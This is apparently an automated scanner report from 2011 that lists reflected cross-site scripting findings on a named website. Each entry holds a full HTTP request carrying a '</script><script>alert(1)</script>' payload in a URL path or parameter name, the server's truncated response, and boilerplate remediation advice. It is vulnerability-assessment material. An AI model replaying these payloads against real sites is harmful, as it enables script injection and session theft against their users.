Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.identitytheftlabs.com/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.identitytheftlabs.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 734dc</script><script>alert(1)</script>6d64ec39bc6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?734dc</script><script>alert(1)</script>6d64ec39bc6=1 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 500 Internal Server Error Date: Tue, 23 Aug 2011 21:56:44 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbefe</script><script>alert(1)</script>74f3c3e02ad was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /favicon.icodbefe</script><script>alert(1)</script>74f3c3e02ad HTTP/1.1 Accept: */* Accept-Encoding: gzip User-Agent: Mozilla/5.0 (compatible; Google Desktop/5.9.1005.12335; http://desktop.google.com/) Host: www.identitytheftlabs.com Proxy-Connection: Keep-Alive
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:57:10 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:57:13 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9fa27</script><script>alert(1)</script>782bf120ef9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content9fa27</script><script>alert(1)</script>782bf120ef9/themes/thesis_18/custom/custom.css?020311-34453 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:57:33 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:57:35 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6a4a7</script><script>alert(1)</script>b658ccdc191 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes6a4a7</script><script>alert(1)</script>b658ccdc191/thesis_18/custom/custom.css?020311-34453 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:58:02 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:58:03 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f4274</script><script>alert(1)</script>d48ec69af6a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes/thesis_18f4274</script><script>alert(1)</script>d48ec69af6a/custom/custom.css?020311-34453 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:58:31 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:58:32 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4505c</script><script>alert(1)</script>778275cc605 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes/thesis_18/custom4505c</script><script>alert(1)</script>778275cc605/custom.css?020311-34453 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:58:59 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:59:00 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9dd32</script><script>alert(1)</script>11a67e723b9 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes/thesis_18/custom/custom.css9dd32</script><script>alert(1)</script>11a67e723b9?020311-34453 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:59:35 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:59:36 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c38d4</script><script>alert(1)</script>720e9383670 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-contentc38d4</script><script>alert(1)</script>720e9383670/themes/thesis_18/custom/layout.css?013111-213054 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:57:32 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:57:34 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 48e2c</script><script>alert(1)</script>0a24a7b7c88 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes48e2c</script><script>alert(1)</script>0a24a7b7c88/thesis_18/custom/layout.css?013111-213054 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:58:00 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:58:02 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4cb41</script><script>alert(1)</script>74c0b3987c7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes/thesis_184cb41</script><script>alert(1)</script>74c0b3987c7/custom/layout.css?013111-213054 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:58:29 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:58:30 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fd62a</script><script>alert(1)</script>e7d4f8cf8b0 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes/thesis_18/customfd62a</script><script>alert(1)</script>e7d4f8cf8b0/layout.css?013111-213054 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:58:57 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:58:59 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a01fe</script><script>alert(1)</script>d15c8159e44 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes/thesis_18/custom/layout.cssa01fe</script><script>alert(1)</script>d15c8159e44?013111-213054 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:59:31 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:59:33 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63f92</script><script>alert(1)</script>b79a3201792 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content63f92</script><script>alert(1)</script>b79a3201792/themes/thesis_18/style.css?013111-212627 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:57:29 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:57:31 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 601e3</script><script>alert(1)</script>9fa60279709 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes601e3</script><script>alert(1)</script>9fa60279709/thesis_18/style.css?013111-212627 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:57:58 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:57:59 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 82947</script><script>alert(1)</script>170b280b899 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes/thesis_1882947</script><script>alert(1)</script>170b280b899/style.css?013111-212627 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:58:26 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:58:28 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 79496</script><script>alert(1)</script>e548b864789 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wp-content/themes/thesis_18/style.css79496</script><script>alert(1)</script>e548b864789?013111-212627 HTTP/1.1 Host: www.identitytheftlabs.com Proxy-Connection: keep-alive Referer: http://www.identitytheftlabs.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 23 Aug 2011 21:58:55 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://www.identitytheftlabs.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 23 Aug 2011 21:58:57 GMT Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://g ...[SNIP]... <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-3217171-1");
